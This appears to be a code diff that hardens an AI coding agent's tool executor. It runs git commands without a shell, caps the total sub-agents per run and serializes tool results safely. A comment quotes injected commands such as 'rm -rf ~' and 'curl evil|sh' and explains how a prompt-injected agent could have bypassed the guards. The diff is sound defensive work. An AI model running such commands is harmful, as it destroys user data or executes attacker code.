}
|
|
1973
2075
|
|
|
1974
|
-
|
|
1975
|
-
|
|
1976
|
-
|
|
1977
|
-
|
|
1978
|
-
|
|
1979
|
-
|
|
1980
|
-
|
|
2076
|
+
// Run via argv (spawnSync, NO shell) so shell metacharacters in the
|
|
2077
|
+
// command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
|
|
2078
|
+
// cannot inject a second command. Previously execSync(`git ${cmd}`) ran
|
|
2079
|
+
// the whole string through a shell, and the destructive-git/credential/
|
|
2080
|
+
// run_shell guards only inspect the first token, so this was an arbitrary
|
|
2081
|
+
// command-execution bypass for a prompt-injected agent. Quoted args (a
|
|
2082
|
+
// commit message) keep their content via the quote-aware tokenizer.
|
|
2083
|
+
const gitArgs = tokenizeShellWords(normalizedCommand);
|
|
2084
|
+
const res = spawnSync("git", gitArgs, {
|
|
2085
|
+
cwd: args.cwd || cwd,
|
|
2086
|
+
encoding: "utf8",
|
|
2087
|
+
timeout: 60000,
|
|
2088
|
+
maxBuffer: 1024 * 1024,
|
|
2089
|
+
windowsHide: true,
|
|
2090
|
+
});
|
|
2091
|
+
const readOnly = isReadOnlyGitCommand(normalizedCommand);
|
|
2092
|
+
if (res.error) {
|
|
1981
2093
|
return attachDescriptor({
|
|
1982
|
-
|
|
2094
|
+
error: String(res.error.message || res.error).substring(0, 2000),
|
|
1983
2095
|
command: normalizedCommand,
|
|
1984
|
-
readOnly
|
|
2096
|
+
readOnly,
|
|
1985
2097
|
});
|
|
1986
|
-
}
|
|
2098
|
+
}
|
|
2099
|
+
if (res.status !== 0) {
|
|
2100
|
+
const stderr = String(res.stderr || "").substring(0, 2000);
|
|
1987
2101
|
return attachDescriptor({
|
|
1988
|
-
error:
|
|
1989
|
-
stderr
|
|
1990
|
-
exitCode:
|
|
2102
|
+
error: stderr || `git exited with code ${res.status}`,
|
|
2103
|
+
stderr,
|
|
2104
|
+
exitCode: res.status,
|
|
1991
2105
|
command: normalizedCommand,
|
|
1992
|
-
readOnly
|
|
2106
|
+
readOnly,
|
|
1993
2107
|
});
|
|
1994
2108
|
}
|
|
2109
|
+
return attachDescriptor({
|
|
2110
|
+
stdout: String(res.stdout || "").substring(0, 30000),
|
|
2111
|
+
command: normalizedCommand,
|
|
2112
|
+
readOnly,
|
|
2113
|
+
});
|
|
1995
2114
|
}
|
|
1996
2115
|
|
|
1997
2116
|
case "run_code": {
|
|
@@ -2041,6 +2160,7 @@ async function executeToolInner(
|
|
|
2041
2160
|
sessionId,
|
|
2042
2161
|
llmOptions,
|
|
2043
2162
|
subAgentDepth,
|
|
2163
|
+
subAgentBudget,
|
|
2044
2164
|
}),
|
|
2045
2165
|
);
|
|
2046
2166
|
}
|
|
@@ -2735,6 +2855,18 @@ async function _executeRunCode(args, cwd) {
|
|
|
2735
2855
|
*/
|
|
2736
2856
|
export const MAX_SUB_AGENT_DEPTH = 5;
|
|
2737
2857
|
|
|
2858
|
+
/**
|
|
2859
|
+
* Max TOTAL sub-agents a single run may spawn across the whole tree. The depth
|
|
2860
|
+
* cap bounds how DEEP nesting goes (5), but not how WIDE: every level could fan
|
|
2861
|
+
* out many children, each with its own fresh iteration budget, so depth-cap
|
|
2862
|
+
* alone leaves total work ~budget^depth in a runaway/adversarial case. A shared
|
|
2863
|
+
* counter (threaded by reference through the tool context, like subAgentDepth)
|
|
2864
|
+
* gives a hard ceiling on the whole tree. Generous enough for legitimate
|
|
2865
|
+
* fan-out delegation; a model that blows past it is looping. Override per run
|
|
2866
|
+
* with `options.subAgentBudget`.
|
|
2867
|
+
*/
|
|
2868
|
+
export const MAX_SUB_AGENTS_PER_RUN = 32;
|
|
2869
|
+
|
|
2738
2870
|
/**
|
|
2739
2871
|
* Per-tool-result character cap fed back to the model. One giant tool output (a
|
|
2740
2872
|
* huge file, a verbose command, an MCP blob) must not blow the context window —
|
|
@@ -2765,6 +2897,39 @@ export function capToolResultString(serialized, max = MAX_TOOL_RESULT_CHARS) {
|
|
|
2765
2897
|
);
|
|
2766
2898
|
}
|
|
2767
2899
|
|
|
2900
|
+
/**
|
|
2901
|
+
* Serialize a tool result for the transcript without ever throwing. A plain
|
|
2902
|
+
* `JSON.stringify` throws on a circular reference, a BigInt, or a value whose
|
|
2903
|
+
* `toJSON` throws — and that call sits OUTSIDE executeTool's try/catch, so one
|
|
2904
|
+
* odd tool result would crash the whole agent turn. The happy path is identical
|
|
2905
|
+
* to `JSON.stringify` (returns its value verbatim, including `undefined`, which
|
|
2906
|
+
* `capToolResultString` already normalizes); only a throw falls back to a
|
|
2907
|
+
* circular- and BigInt-safe pass, then a last-resort string form.
|
|
2908
|
+
*/
|
|
2909
|
+
export function safeStringifyToolResult(value) {
|
|
2910
|
+
try {
|
|
2911
|
+
return JSON.stringify(value);
|
|
2912
|
+
} catch {
|
|
2913
|
+
try {
|
|
2914
|
+
const seen = new WeakSet();
|
|
2915
|
+
return JSON.stringify(value, (_k, v) => {
|
|
2916
|
+
if (typeof v === "bigint") return v.toString();
|
|
2917
|
+
if (v && typeof v === "object") {
|
|
2918
|
+
if (seen.has(v)) return "[Circular]";
|
|
2919
|
+
seen.add(v);
|
|
2920
|
+
}
|
|
2921
|
+
return v;
|
|
2922
|
+
});
|
|
2923
|
+
} catch {
|
|
2924
|
+
try {
|
|
2925
|
+
return String(value);
|
|
2926
|
+
} catch {
|
|
2927
|
+
return "[unserializable tool result]";
|
|
2928
|
+
}
|
|
2929
|
+
}
|
|
2930
|
+
}
|
|
2931
|
+
}
|
|
2932
|
+
|
|
2768
2933
|
/**
|
|
2769
2934
|
* Execute a spawn_sub_agent tool call.
|
|
2770
2935
|
* Creates an isolated SubAgentContext, runs it, and returns only the summary.
|
|
@@ -2781,6 +2946,22 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2781
2946
|
error: `spawn_sub_agent: max nesting depth (${MAX_SUB_AGENT_DEPTH}) reached — complete the task directly instead of delegating further.`,
|
|
2782
2947
|
};
|
|
2783
2948
|
}
|
|
2949
|
+
// Breadth cap: a shared counter (one object for the whole tree) bounds the
|
|
2950
|
+
// TOTAL sub-agents a run may spawn, so a wide fan-out can't blow up even
|
|
2951
|
+
// within the depth limit. Refuse + count BEFORE any work so the increment
|
|
2952
|
+
// can't be skipped by a later error.
|
|
2953
|
+
const subAgentBudget = ctx.subAgentBudget || null;
|
|
2954
|
+
if (subAgentBudget) {
|
|
2955
|
+
const max = Number.isFinite(subAgentBudget.max)
|
|
2956
|
+
? subAgentBudget.max
|
|
2957
|
+
: MAX_SUB_AGENTS_PER_RUN;
|
|
2958
|
+
if ((subAgentBudget.spawned || 0) >= max) {
|
|
2959
|
+
return {
|
|
2960
|
+
error: `spawn_sub_agent: max sub-agents per run (${max}) reached — complete remaining work directly instead of delegating further.`,
|
|
2961
|
+
};
|
|
2962
|
+
}
|
|
2963
|
+
subAgentBudget.spawned = (subAgentBudget.spawned || 0) + 1;
|
|
2964
|
+
}
|
|
2784
2965
|
let {
|
|
2785
2966
|
role,
|
|
2786
2967
|
task,
|
|
@@ -2883,6 +3064,9 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2883
3064
|
profile: profile || null,
|
|
2884
3065
|
llmOptions: subLlmOptions,
|
|
2885
3066
|
depth: currentDepth + 1, // nested spawns see their own level
|
|
3067
|
+
// Same shared counter object so the child's own spawns draw from the run's
|
|
3068
|
+
// single total-sub-agent pool (breadth cap spans the whole tree).
|
|
3069
|
+
subAgentBudget: ctx.subAgentBudget || null,
|
|
2886
3070
|
});
|
|
2887
3071
|
|
|
2888
3072
|
const emit = (type, payload) => {
|
|
@@ -2900,15 +3084,26 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2900
3084
|
}
|
|
2901
3085
|
};
|
|
2902
3086
|
|
|
3087
|
+
// Resolve the registry ONCE before the try so the failure path can also move
|
|
3088
|
+
// the sub-agent out of `_active` (the success path does this via complete()).
|
|
3089
|
+
const { SubAgentRegistry } =
|
|
3090
|
+
await import("../lib/sub-agent-registry.js").catch(() => ({
|
|
3091
|
+
SubAgentRegistry: null,
|
|
3092
|
+
}));
|
|
3093
|
+
let registry = null;
|
|
3094
|
+
if (SubAgentRegistry) {
|
|
3095
|
+
try {
|
|
3096
|
+
registry = SubAgentRegistry.getInstance();
|
|
3097
|
+
} catch (_err) {
|
|
3098
|
+
registry = null; // registry unavailable — non-critical
|
|
3099
|
+
}
|
|
3100
|
+
}
|
|
3101
|
+
|
|
2903
3102
|
try {
|
|
2904
3103
|
// Notify registry if available
|
|
2905
|
-
|
|
2906
|
-
await import("../lib/sub-agent-registry.js").catch(() => ({
|
|
2907
|
-
SubAgentRegistry: null,
|
|
2908
|
-
}));
|
|
2909
|
-
if (SubAgentRegistry) {
|
|
3104
|
+
if (registry) {
|
|
2910
3105
|
try {
|
|
2911
|
-
|
|
3106
|
+
registry.register(subCtx);
|
|
2912
3107
|
} catch (_err) {
|
|
2913
3108
|
// Registry not available — non-critical
|
|
2914
3109
|
}
|
|
@@ -2924,9 +3119,9 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2924
3119
|
const result = await subCtx.run(task);
|
|
2925
3120
|
|
|
2926
3121
|
// Complete in registry
|
|
2927
|
-
if (
|
|
3122
|
+
if (registry) {
|
|
2928
3123
|
try {
|
|
2929
|
-
|
|
3124
|
+
registry.complete(subCtx.id, result);
|
|
2930
3125
|
} catch (_err) {
|
|
2931
3126
|
// Non-critical
|
|
2932
3127
|
}
|
|
@@ -2955,6 +3150,18 @@ async function _executeSpawnSubAgent(args, ctx) {
|
|
|
2955
3150
|
} catch (err) {
|
|
2956
3151
|
subCtx.forceComplete(err.message);
|
|
2957
3152
|
|
|
3153
|
+
// Move the failed sub-agent out of the registry's `_active` Map into bounded
|
|
3154
|
+
// history (mirrors the success path). Without this, a sub-agent whose run()
|
|
3155
|
+
// threw outside its own try (setup/summarize error) lingers in `_active`
|
|
3156
|
+
// forever and over-reports as "active" to monitors/UI.
|
|
3157
|
+
if (registry) {
|
|
3158
|
+
try {
|
|
3159
|
+
registry.complete(subCtx.id, subCtx.result);
|
|
3160
|
+
} catch (_err) {
|
|
3161
|
+
// Non-critical
|
|
3162
|
+
}
|
|
3163
|
+
}
|
|
3164
|
+
|
|
2958
3165
|
emit("sub-agent.failed", {
|
|
2959
3166
|
status: subCtx.status,
|
|
2960
3167
|
error: err.message,
|
|
@@ -4175,6 +4382,10 @@ const _CHECKPOINT_READ_ONLY = new Set([
|
|
|
4175
4382
|
"search_sessions",
|
|
4176
4383
|
]);
|
|
4177
4384
|
|
|
4385
|
+
// Rolling cap on auto-checkpoints per agent session — the engine prunes the
|
|
4386
|
+
// oldest beyond this so a long run can't accumulate unbounded refs.
|
|
4387
|
+
const MAX_AUTO_CHECKPOINTS_PER_SESSION = 100;
|
|
4388
|
+
|
|
4178
4389
|
let _checkpointStoreP = null;
|
|
4179
4390
|
function _loadCheckpointStore() {
|
|
4180
4391
|
if (!_checkpointStoreP) {
|
|
@@ -4205,6 +4416,10 @@ async function _autoCheckpointBeforeTool(toolContext, toolName, toolArgs) {
|
|
|
4205
4416
|
120,
|
|
4206
4417
|
),
|
|
4207
4418
|
skipIfUnchanged: true,
|
|
4419
|
+
// Bound auto-checkpoint history: a rolling safety net of the last N
|
|
4420
|
+
// mutating-tool states. Prevents unbounded ref growth + O(n²) nextId over
|
|
4421
|
+
// a long agentic run (rewinding 100+ tool calls back is already extreme).
|
|
4422
|
+
maxPerSession: MAX_AUTO_CHECKPOINTS_PER_SESSION,
|
|
4208
4423
|
});
|
|
4209
4424
|
return res?.id || null;
|
|
4210
4425
|
} catch {
|
|
@@ -4302,6 +4517,13 @@ export async function* agentLoop(messages, options) {
|
|
|
4302
4517
|
// Sub-agent nesting level (0 = main loop); spawn_sub_agent caps at
|
|
4303
4518
|
// MAX_SUB_AGENT_DEPTH using this.
|
|
4304
4519
|
subAgentDepth: options.subAgentDepth || 0,
|
|
4520
|
+
// Shared TOTAL-sub-agent counter for the whole run. Reuse the parent's
|
|
4521
|
+
// instance (passed by reference) so every nested level draws from one pool;
|
|
4522
|
+
// the main loop seeds it. Bounds breadth, complementing the depth cap.
|
|
4523
|
+
subAgentBudget: options.subAgentBudget || {
|
|
4524
|
+
spawned: 0,
|
|
4525
|
+
max: MAX_SUB_AGENTS_PER_RUN,
|
|
4526
|
+
},
|
|
4305
4527
|
};
|
|
4306
4528
|
|
|
4307
4529
|
throwIfAborted(signal);
|
|
@@ -4739,7 +4961,9 @@ export async function* agentLoop(messages, options) {
|
|
|
4739
4961
|
// Cap an individual tool result so one giant output can't blow the
|
|
4740
4962
|
// context — but tell the model when we cut it (no more silent
|
|
4741
4963
|
// mid-content slice). See MAX_TOOL_RESULT_CHARS / capToolResultString.
|
|
4742
|
-
const resultStr = capToolResultString(
|
|
4964
|
+
const resultStr = capToolResultString(
|
|
4965
|
+
safeStringifyToolResult(toolResult),
|
|
4966
|
+
);
|
|
4743
4967
|
const toolContent = warningMsg
|
|
4744
4968
|
? `${resultStr}\n\n${warningMsg}`
|
|
4745
4969
|
: resultStr;
|
|
@@ -69,6 +69,11 @@ const VALID_PERMISSION_MODES = Object.freeze([
|
|
|
69
69
|
|
|
70
70
|
const VALID_OUTPUT_FORMATS = Object.freeze(["text", "json", "stream-json"]);
|
|
71
71
|
|
|
72
|
+
// EPIPE guard for `cc agent -p … | head`. Lives in pipe-safety.js (shared with
|
|
73
|
+
// the stream-json driver + REPL); re-exported here for existing importers.
|
|
74
|
+
export { installPipeSafety } from "./pipe-safety.js";
|
|
75
|
+
import { installPipeSafety } from "./pipe-safety.js";
|
|
76
|
+
|
|
72
77
|
/**
|
|
73
78
|
* Resolve a --permission-mode string into the session-policy tier + a
|
|
74
79
|
* non-interactive confirmer + whether to clamp tools to the read-only set.
|
|
@@ -312,6 +317,12 @@ export async function runAgentHeadless(options = {}, deps = {}) {
|
|
|
312
317
|
// trace so `cc agent -p ... > out.txt` keeps `out.txt` clean.
|
|
313
318
|
const writeOut = deps.writeOut || ((s) => process.stdout.write(s));
|
|
314
319
|
const writeErr = deps.writeErr || ((s) => process.stderr.write(s));
|
|
320
|
+
// Only when we own the real stdout/stderr (no injected seams = production,
|
|
321
|
+
// not tests): guard against a downstream `| head` closing the pipe, which
|
|
322
|
+
// would otherwise crash with an unhandled EPIPE. Idempotent across calls.
|
|
323
|
+
if (!deps.writeOut && !deps.writeErr) {
|
|
324
|
+
installPipeSafety();
|
|
325
|
+
}
|
|
315
326
|
// Session persistence seam (file-based JSONL; DB-free, like the rest of
|
|
316
327
|
// headless). Defaults to the real store; tests inject fakes.
|
|
317
328
|
const store = {
|
|
@@ -667,6 +678,7 @@ export async function runAgentHeadless(options = {}, deps = {}) {
|
|
|
667
678
|
strict: options.strictMcpConfig === true,
|
|
668
679
|
ide: options.ide,
|
|
669
680
|
pdh: options.pdh,
|
|
681
|
+
jetbrains: options.jetbrains,
|
|
670
682
|
cwd: options.cwd || process.cwd(),
|
|
671
683
|
// advertise the session id to spawned stdio MCP servers
|
|
672
684
|
sessionId,
|
|
@@ -676,6 +688,7 @@ export async function runAgentHeadless(options = {}, deps = {}) {
|
|
|
676
688
|
loadMcpConfig: deps.loadMcpConfig,
|
|
677
689
|
loadRegisteredMcp: deps.loadRegisteredMcp,
|
|
678
690
|
loadIdeMcp: deps.loadIdeMcp,
|
|
691
|
+
loadJetbrainsMcp: deps.loadJetbrainsMcp,
|
|
679
692
|
},
|
|
680
693
|
);
|
|
681
694
|
if (mcp && isText) {
|